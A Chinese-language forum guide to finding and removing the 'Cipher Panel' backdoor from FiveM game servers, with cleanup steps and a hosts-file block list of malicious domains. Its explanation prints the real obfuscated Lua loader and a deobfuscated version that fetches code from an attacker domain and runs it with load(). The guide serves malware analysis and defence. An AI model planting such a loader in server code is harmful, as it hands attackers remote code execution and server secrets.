声明
除此文章外,本人不对清理后门提供无偿帮助。本人不对按照本文章操作产生的后果负责。
因为造成服务器存在后门的原因是你自己,所以自己承担责任。
如何检查是否感染了这种后门(密码面板)
使用VSCode打开整个服务器文件夹(包括server、resource等),在左侧的搜索面板中搜索\x
,限定.lua
文件,若看到下图所示的混淆代码,那么大概率你的服务器已经被密码面板感染。注:下文所称的“后门”,均代指密码面板这一种后门。后门的危害
随意操作服务器上的文件、获取服务器秘钥、SQL密码、执行远程代码等。如何清除后门
第一步
完全关闭FXServer,不只是在txAdmin停止服务器,而是关闭整个CMD窗口。第二步
将上面搜索到的代码整行删除(VSCode快捷键:Ctrl+Shift+K),注意辨别并非所有包含\x
的代码都是被混淆的恶意代码,如下图所示,就是包含\x
的正常代码。第三步
使用VSCode打开整个服务器文件夹(包括server、resource等),在左侧的搜索面板中搜索PerformHttpRequest
,限定.lua
文件,如果看到类似下图红框标注的代码,删除它。同样的也并非所有使用PerformHttpRequest
的代码都是恶意代码,此函数也经常被用在检查插件更新等目的,这需要你有一定的编程基础,相比上面的\x
辨认难度更高。第四步
完全删除[cfx-default]文件夹内的所有文件,并从 https://github.com/citizenfx/cfx-server-data 重新下载。第五步
编辑C:\Windows\System32\drivers\etc\hosts
文件,添加如下内容
代码:
127.0.0.1 cipher-panel.me
127.0.0.1 ciphercheats.com
127.0.0.1 keyx.club
127.0.0.1 dark-utilities.xyz
127.0.0.1 ketamin.cc
127.0.0.1 pqzskjptss.shop
127.0.0.1 admin-panel.sbs
127.0.0.1 malware-panel.io
127.0.0.1 docsfivem.com
127.0.0.1 thedreamofficeem.com
127.0.0.1 thedreamoffivem.com
127.0.0.1 rpserveur.fr
127.0.0.1 abxcgraovp.pics
127.0.0.1 sayebrouhk.com
127.0.0.1 0resmon.net
127.0.0.1 triggerserverevent.net
127.0.0.1 eszjqvpjhiou.mom
127.0.0.1 servers-frontend-fivem.net
127.0.0.1 5mscriptss.net
第六步
启动服务器,并再次搜索\x
,观察是否仍然存在资源被加入恶意混淆代码的情况。为什么会感染后门
你使用了带有恶意代码的资源,这种资源通常存在于泄露网站上。如何防范后门
很简单,不贪小便宜,只从可信的渠道获取资源,如Cfx论坛、Github、5mods。工作原理
首先你看到的这些代码都不是被加密了,只是被混淆了。加密和混淆是有区别的,使用VSCode打开被官方Keymaster加密的文件会直接提示“此文件是二进制文件或使用了不受支持的文本编码,所以无法在文本编辑器中显示。”,如果选择仍然打开会是下面这个画风。
但是VSCode却可以直接打开被混淆的代码,因为混淆的代码只是加入了无用的垃圾代码和将变量、函数名等修改为人类无法理解的格式,但计算机并不会被影响,很多模型加密也是这种原理,即游戏引擎可以正常加载,但建模软件却无法打开。(下图所示为被混淆的代码)
在密码面板这种后门中,主要使用无空格/换行/缩进、随机变量名、UTF-8编码,来达到代码不易被人类理解,继而无法发现其目的的作用。
为什么说不易被人类理解,因为你可以通过一些方式,将它转换成为可以理解的格式,如:
- 无空格/换行/缩进 - 安装可以格式化Lua代码的VSCode扩展
- 随机变量名 - 全部替换为简短的变量
- UTF-8编码 - 使用工具进行解码
代码:
local YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[4][YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x65\x73\x7a\x6a\x71\x76\x70\x6a\x68\x69\x6f\x75\x2e\x6d\x6f\x6d\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x6f\x79\x62\x63\x6d", function (mtXRTzuiQfednkshHMdSwLjJURxcHnZXXtsPuChdcKkazzspzeMswNgSlONlTdnnoSVJsG, rbXrqhwTHmesCXoySghEmIYTkPkPoWgQdKPBUbsUaPWIaYFhwFrWXboUQMabRpoYOawMXf) if (rbXrqhwTHmesCXoySghEmIYTkPkPoWgQdKPBUbsUaPWIaYFhwFrWXboUQMabRpoYOawMXf == YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[6] or rbXrqhwTHmesCXoySghEmIYTkPkPoWgQdKPBUbsUaPWIaYFhwFrWXboUQMabRpoYOawMXf == YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[5]) then return end YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[4][YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[2]](YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[4][YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[3]](rbXrqhwTHmesCXoySghEmIYTkPkPoWgQdKPBUbsUaPWIaYFhwFrWXboUQMabRpoYOawMXf))() end)
lua:
PerformHttpRequest("https://eszjqvpjhiou.mom/v2_/stage3.php?to=oybcm", function(_, text)
if (text == nil or text == "") then return end
assert(load(text))()
end)
那么代码的作用也就很明显了,即通过访问指定网址,将其中的文本加载为代码运行。
这种后门最初的感染方式就和上面说的一样,感染之后会修改[cfx-default]中的JavaScript文件,这就是为什么删除Lua中的混淆代码,重启服务器后还会自动添加。
有人说
\x6c
是后门的特种码,其实不然。\x6c
是经过 UTF-8 编码的十六进制结果,即字母“l”。在后门中字母“l”仅出现在
nil
、load
中,查看参考资料你会发现这并没有包含所有的恶意代码。清除后门最严谨的方式还是按照上文所述的步骤。
继续分析网址中和网址的网址中的代码没有意义,到这里后门的工作原理以及目的就很清晰明了了,没有在继续往下分析的必要了。如果想了解更多可以查看参考资料。
参考资料
https://github.com/ericstolly/cipherhttps://github.com/XenoS-ITA/chiper-deobfuscated
https://github.com/ProjecteEndCipher/Cipher-Panel
https://github.com/exersalza/FivemCipherFinder
最后编辑: